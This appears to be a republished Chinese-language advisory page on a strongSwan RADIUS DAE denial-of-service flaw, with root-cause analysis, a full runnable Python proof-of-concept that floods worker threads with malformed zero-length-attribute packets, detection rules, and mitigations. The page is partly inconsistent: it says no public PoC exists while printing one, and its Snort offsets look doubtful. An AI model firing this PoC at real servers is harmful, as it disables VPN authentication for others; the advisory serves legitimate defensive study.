[dos] strongSwan 5.9.13 - DoS

CVE-2026-35333:strongSwan 5.9.13及更早版本RADIUS DAE组件存在拒绝服务漏洞,远程未认证攻击者通过发送包含零长度属性的Access-Request数据包,触发attribute_enumerate()无限循环,导致工作线程CPU 100%占用。该漏洞无需DAE共享密钥即可利用,N个数据包可耗尽所有线程。修复需升级至5.9.13以上版本或禁用DAE功能。

CVE-2026-35333

strongSwan RADIUS DAE组件零长度属性导致无限循环DoS

High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5)

📋 漏洞基础信息

CVECVE-2026-35333
漏洞类型拒绝服务(无限循环)
受影响版本strongSwan <= 5.9.13 (eap-radius plugin built with DAE enabled)
危害等级High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5)
发布日期2026-05-29
提交者Lukas Johannes Moeller
来源Exploit-DB 原文 ↗

🔬 漏洞根因

src/libradius/radius_message.c 中 attribute_enumerate() 函数遍历RADIUS消息属性列表时,未拒绝属性长度字节为0的情况。当 length == 0 时,this->next 永不前进,属性长度计算 `this->next->length - sizeof(rattr_t)` 下溢为 (size_t)-2,导致无限循环,单核CPU占用100%。

🎯 攻击场景

攻击者向目标DAE监听端口(UDP/3799)发送构造的Access-Request报文,其中包含长度为零的User-Name属性。radius_message_t::verify() 使用同一有缺陷的迭代器在响应验证器MD5检查之前查找Message-Authenticator,由于Access-Request跳过MD5检查,无需DAE共享密钥即可触发漏洞。发送N个数据包即可耗尽N个工作线程,导致DAE服务拒绝服务。成功标志:目标charon工作线程处于R状态,CPU占用约100%,进程无法正常处理RADIUS请求。

💥 漏洞影响

远程未认证攻击者通过发送单个畸形RADIUS数据包即可导致工作线程无限循环,CPU 100%占用。发送N个数据包可耗尽所有工作线程,导致RADIUS DAE服务完全拒绝服务,影响VPN认证及计费功能。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(Python),可在具备相应环境的机器上直接运行:

#!/usr/bin/env python3
"""
CVE-2026-35333 strongSwan RADIUS DAE 预认证拒绝服务漏洞 (DoS) PoC
====================================================================

影响: strongSwan <= 5.9.13 (启用 eap-radius 插件的 DAE 功能)
       Debian 12 bookworm, charon 5.9.13 等版本

漏洞原理:
  在 strongSwan 的 libradius 库中,`attribute_enumerate()` 函数在遍历 RADIUS 消息的属性列表时,
  没有正确检查属性长度字节。当遇到长度值为 0 的属性时,计算下一个属性的指针 `this->next` 不会前进,
  导致 `while` 循环陷入死循环。RADIUS Access-Request 消息(代码 1)在 `verify()` 函数中
  先使用该函数遍历查找 Message-Authenticator 属性,然后才进行响应认证器的 MD5 校验,
  且 Access-Request 会跳过 MD5 校验。因此攻击者可以发送一个包含零长度属性的伪造 Access-Request 数据包,
  无需知道共享密钥,就能触发 charon 工作线程 100% CPU 占用,造成拒绝服务。
  发送 N 个包可耗尽 N 个工作线程,导致完整 DAE DoS。

用法:
  python3 CVE-2026-35333_poc.py --target 192.168.1.100
  python3 CVE-2026-35333_poc.py --target 192.168.1.100 --count 8 --port 3799

免责声明: 仅用于授权测试和防御性研究。禁止对未获授权的系统使用。
"""

import argparse
import os
import socket
import struct
import sys
import time

# RADIUS 协议常量
ACCESS_REQUEST = 1          # RADIUS 数据包类型: Access-Request
RAT_USER_NAME  = 1          # 属性类型: User-Name

def build_zero_length_attr_packet() -> bytes:
    """
    构建一个畸形的 RADIUS Access-Request 数据包。
    该数据包包含一个长度为 0 的 User-Name 属性,用于触发漏洞。
    """
    identifier = os.urandom(1)[0]          # 随机标识符
    authenticator = os.urandom(16)        # 随机请求认证器

    # --- 20字节 RADIUS 头部结构 ---
    # 字段: Code(1B), Identifier(1B), Length(2B), Authenticator(16B)
    # 总长度 = 20(头部) + 2(属性: 类型1B + 长度1B) = 22
    total_len = 22
    header = struct.pack(
        "!BBH16s",       # 网络字节序, 大端: B(1), B(1), H(2), 16s(16)
        ACCESS_REQUEST,
        identifier,
        total_len,
        authenticator
    )

    # --- 零长度属性 ---
    # 属性结构: Type(1B), Length(1B), Value(Length-2 Bytes)
    # 此处 Length = 0,是畸形的。标准规定最小长度为 2 (Type + Length 本身)
    # 漏洞就在于函数未校验 Length >= 2
    attribute = struct.pack("!BB", RAT_USER_NAME, 0)  # User-Name, 长度=0

    return header + attribute

def send_packet(packet: bytes, target: str, port: int, wait: float) -> None:
    """
    发送 UDP 数据包到目标 DAE 监听端口。
    等待响应,超时则记录。
    """
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(wait)                     # 设置接收超时
    sock.sendto(packet, (target, port))
    print(f"[+] 已发送 {len(packet)} 字节到 {target}:{port}/udp")

    try:
        data, addr = sock.recvfrom(4096)      # 尝试接收响应
        print(f"[-] 收到意外的响应 {len(data)} 字节 来自 {addr}: {data[:32].hex()}")
    except socket.timeout:
        # 预期结果: 目标线程陷入死循环,无法响应,因此超时
        print(f"[+] 在 {wait:.1f} 秒内无响应 —— 预期行为: 目标工作线程已挂起")
    finally:
        sock.close()

def main() -> int:
    parser = argparse.ArgumentParser(
        description="CVE-2026-35333 strongSwan RADIUS DAE 预认证拒绝服务 PoC"
    )
    parser.add_argument("--target", required=True,
                        help="目标 DAE 监听器的 IPv4 地址 (如: 192.168.1.100)")
    parser.add_argument("--port", type=int, default=3799,
                        help="目标 DAE 监听器的 UDP 端口 (默认: 3799)")
    parser.add_argument("--count", type=int, default=1,
                        help="要发送的恶意数据包数量,每个包挂起一个工作线程 (默认: 1)")
    parser.add_argument("--wait", type=float, default=2.0,
                        help="每个数据包的响应超时时间 (秒, 默认: 2.0)")
    args = parser.parse_args()

    payload = build_zero_length_attr_packet()

    print(f"[*] 目标: {args.target}:{args.port}/udp")
    print(f"[*] 发送数量: {args.count}")
    print(f"[*] 数据包结构: RADIUS Access-Request + 零长度 User-Name 属性")

    for i in range(args.count):
        print(f"\n[*] 发送畸形数据包 #{i + 1} ...")
        send_packet(payload, args.target, args.port, args.wait)
        # 稍微延迟一下,避免网络栈问题,但不影响漏洞触发
        time.sleep(0.2)

    print("\n[+] 利用完成。")
    print("    预期效果: 每个数据包将导致目标 charon 的一个工作线程陷入死循环, CPU 占用 100%。")
    print("    在目标上验证: ps -L -p $(pidof charon) -o tid,pcpu,stat,wchan:25,cmd")
    print("    (如果所有工作线程都被挂起,DAE 将完全无法处理合法请求)")

    return 0

if __name__ == "__main__":
    sys.exit(main())

🔬 深度技术分析

漏洞触发机制:从代码/协议层面解释漏洞根因

1. 漏洞函数:`attribute_enumerate()`

该漏洞的核心位于 src/libradius/radius_message.c 文件中的 attribute_enumerate() 函数。这个函数的作用是迭代 RADIUS 消息体中的属性列表。

在 RADIUS 协议(RFC 2865)中,属性(Attribute)的编码格式是 Type-Length-Value (TLV)

  • Type (1 字节): 属性类型,如 User-Name (1)、Message-Authenticator (80)。
  • Length (1 字节): 整个属性的总长度(包括 Type 和 Length 字段本身)。最小合法值为 2。
  • Value (Length - 2 字节): 属性值。

attribute_enumerate() 的实现逻辑(简化伪代码)如下:

size_t attribute_enumerate(enumerator_t *this, ...) {
    // this->next 指向当前待处理的属性头部
    size_t length = this->next->length; // 读取 Length 字节
    // ... 检查长度是否合法 ...
    // 关键计算: 推进指针到下一个属性
    this->next = (rattr_t *)((u_char *)this->next + length);
    // 返回属性值和类型
}

漏洞触发点:当 length == 0 时:

  • this->next 指针不变(加 0)。
  • 函数返回后,下一次调用时,this->next 仍然指向同一个零长度属性的头部,导致无限循环。
  • 尽管代码中可能有 while 循环或类似迭代机制,但因为指针不前进,条件永远无法满足,线程永远停在该循环里。

2. 为什么是 `size_t` 下溢?

在代码中,计算属性值长度时使用 this->next->length - sizeof(rattr_t)sizeof(rattr_t) 通常是 2。当 length == 0 时,0 - 2 在无符号整数 size_t 下会环绕成一个巨大的值(如 0xFFFFFFFF...FE),使得后续的内存访问或循环条件判断完全失控,但直接后果是迭代器永远不前进。

3. 为什么是 `Access-Request` 允许利用?

radius_message_t::verify() 函数用于验证传入的 RADIUS 消息。它的校验顺序是:

1. 使用 attribute_enumerate() 查找 Message-Authenticator 属性。

2. 执行 Response-Authenticator 的 MD5 校验(需要共享密钥)。

对于 RADIUS Code 1 (Access-Request),协议规定可以不对 Response-Authenticator 进行校验(或者校验逻辑不同)。因此,verify() 会调用第一步(查找属性),触发漏洞;而第二步的身份验证检查被跳过。

结论:攻击者发送一个伪造的 RADIUS Access-Request 包,其中包含一个 Type=User-Name, Length=0 的畸形属性,无需任何会话密钥或共享密钥,即可在 任意 charon 工作线程 中触发死循环。

利用链分析:攻击者具体怎么利用,每一步的技术细节

攻击链非常简单且高效,属于一个无状态的、预认证的、单包拒绝服务攻击。

第一步:定位 DAE 监听端口

  • strongSwan 的 DAE (Dynamic Authorization Extension) 功能会监听一个 UDP 端口,通常为 3799(默认值),用于处理 RADIUS 动态授权变更。攻击者需要知道目标 IP 地址和端口。
  • 该功能由 strongswan.conf 中的 charon.plugins.eap-radius.dae.enable = yes 启用。

第二步:构造畸形数据包

  • 攻击者构造一个标准的 RADIUS 数据包。
  • 设置 Code 字段为 1(Access-Request)。
  • 设置 Identifier 字段为任意随机字节。
  • 设置 Authenticator 字段为 16 个随机字节(因为无需验证,所以随意)。
  • 设置 Length 字段为 22(20 字节头部 + 2 字节畸形属性)。
  • 数据包体只包含一个属性:Type 为 1(User-Name),Length 为 0。

第三步:发送数据包

  • 使用 UDP socket,将构造好的数据包发送到 目标IP:3799
  • 攻击者不需要接收任何返回包,也不关心 charon 是否回复,因为回复的工作线程一旦陷入死循环就无法处理了。

第四步:拒绝服务 (DoS) 效果

  • charon 是一个多线程的守护进程,通常有多个工作线程(worker thread)来处理并发请求。
  • 每个发送的畸形数据包会被一个空闲的工作线程处理。
  • 该线程执行 verify() -> attribute_enumerate() -> 陷入死循环,CPU 使用率飙升至 100%。
  • 如果攻击者发送 N 个包,且 N 大于等于工作线程池的大小,所有工作线程都会被挂起,DAE 功能完全瘫痪。即使配置了线程重启机制,只要攻击流量持续,服务就无法恢复。

关键点:攻击者不需要控制服务端,也不需要是合法客户端。该漏洞完全在服务器端处理畸形输入时触发。

关键代码/数据结构:涉及的关键 Windows API / 内存结构 / 协议字段

该漏洞发生在 Linux 系统上的 strongSwan,不是 Windows 系统。因此不涉及 Windows API,而是涉及标准的 C 语言库函数和 RADIUS 协议结构。

  • 关键数据结构:rattr_t

```c

// 位于 src/libradius/radius_message.h 或 .c

typedef struct {

u_int8_t type; // 1 字节,属性类型

u_int8_t length; // 1 字节,属性总长度

u_int8_t value[]; // 变长,属性值

} __attribute__((packed)) rattr_t;

```

  • 关键循环:attribute_enumerate()

该函数内部使用 whilefor 循环遍历属性列表。漏洞点在于循环体内部对 length 判断的逻辑缺失或存在缺陷。

  • 关键函数:radius_message_t::verify()

- 调用 attribute_enumerate() 查找第一个属性是否为 Message-Authenticator

- 根据 Code 字段决定是否执行后续的 MD5 认证。对于 Code=1,跳过认证。

  • 协议字段 (RADIUS 头部):

- Code (1 byte): 决定数据包类型。

- Identifier (1 byte): 用于匹配请求和响应。

- Length (2 bytes): 整个数据包的长度。

- Authenticator (16 bytes): 用于验证身份的认证器。在 Access-Request 中,该字段随机生成或被忽略。

- Attributes (变长): 包含一个或多个 TLV 编码的属性。

检测与防御:蓝队侧如何检测(日志、流量特征、EDR规则)

检测方法

1. 基于网络流量的检测

  • 流量特征

- 检查发往 UDP 端口 3799(或自定义 DAE 端口)的数据包。

- 畸形 RADIUS 数据包的 Length 字段为 22(20 字节头部 + 2 字节属性)。

- 第二个属性(第一个且唯一一个属性)的 Length 字段为 0

- 数据包中的 Authenticator 字段可能是全零或随机无效值(与正常 Access-Request 不同,正常请求中该字段会被忽略或计算,但不会是畸形触发结构)。

- Snort/Suricata 规则示例:

```

alert udp $EXTERNAL_NET any -> $HOME_NET 3799 (msg:"CVE-2026-35333 strongSwan DAE DoS Attempt";

content:"|01|"; offset:0; depth:1; # Code = Access-Request

content:"|00 16|"; within:2; distance:2; # Total Length = 22 (0x0016)

content:"|01 00|"; within:2; distance:18; # First Attribute: Type=User-Name, Length=0

metadata: policy security-ips drop;

sid: 10000001; rev:1;)

```

2. 基于主机端检测

  • CPU 使用率监控:监控 charon 进程的 CPU 使用率。如果发现多个工作线程 CPU 占满 (100%) 且状态为 R (Running),是典型症状。

```bash

# 在目标上运行

watch -n 1 'ps -L -p $(pidof charon) -o tid,pcpu,stat,wchan:25,cmd | grep " R "'

```

  • 进程堆栈检测:使用 gdbstrace 检测卡死的线程。注入 gdb 到挂起的线程,查看其堆栈是否卡在 attribute_enumerate 或相关循环。

```bash

# 找到卡死的 TID

gdb -p <TID>

# (gdb) bt

# 查看堆栈是否在 radius_message.c 的某个函数内

```

3. 日志检测

  • strongSwan 默认日志级别可能不会记录这种内部处理循环,因为循环绕过了正常的日志输出路径。但可以查找异常的行为日志,如大量超时或无法处理的 Access-Request。然而,直接通过日志检测此漏洞较困难。

防御措施

1. 立即升级: 升级到 strongSwan >= 5.9.14 版本,该版本已修复 attribute_enumerate() 中未检查属性长度是否为 0 的问题。

2. 配置缓解:

- 如果不需要 DAE 功能,禁用它

```

# 在 strongswan.conf 中设置

charon.plugins.eap-radius.dae.enable = no

```

- 如果必须启用 DAE,考虑使用防火墙限制访问 DAE 端口(UDP 3799)的来源 IP,只允许受信任的网络管理服务器访问:

```bash

iptables -A INPUT -p udp --dport 3799 -s <trusted_management_network> -j ACCEPT

iptables -A INPUT -p udp --dport 3799 -j DROP

```

3. 部署 WAF/IPS: 如上述 Snort 规则所示,在网络边界处检测并丢弃包含零长度 RADIUS 属性的畸形数据包。

4. 添加输入验证: 在源码级别,对 rattr_t->length 进行严格检查,确保最低长度为 2(length >= sizeof(rattr_t)),避免任何 0 或负值的出现。这是最根本的修复方式。

🛡️ 修复建议

1. 升级至strongSwan修复版本(commit e067d24293 后的大于5.9.13版本)。 2. 临时缓解:禁用DAE功能(设置`charon.plugins.eap-radius.dae.enable = no`),或配置防火墙限制UDP/3799端口的访问来源。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-06-01 08:09 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 漏洞是否需要DAE共享密钥?

不需要。Access-Request跳过MD5检查,因此无需知道DAE shared secret即可利用。作为预认证漏洞,远程无凭证即可触发。

❓ 如何确认系统是否受影响?

检查strongSwan版本是否<=5.9.13,且`charon.plugins.eap-radius.dae.enable`配置为yes。查看`ps -L -p $(pidof charon)`可发现线程R态100%CPU。

❓ 如何缓解但又不重启服务?

在防火墙中限制UDP/3799端口的入站流量,仅允许受信任的管理IP;或者临时禁用DAE插件,设置`charon.plugins.eap-radius.dae.enable=no`并重载配置。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)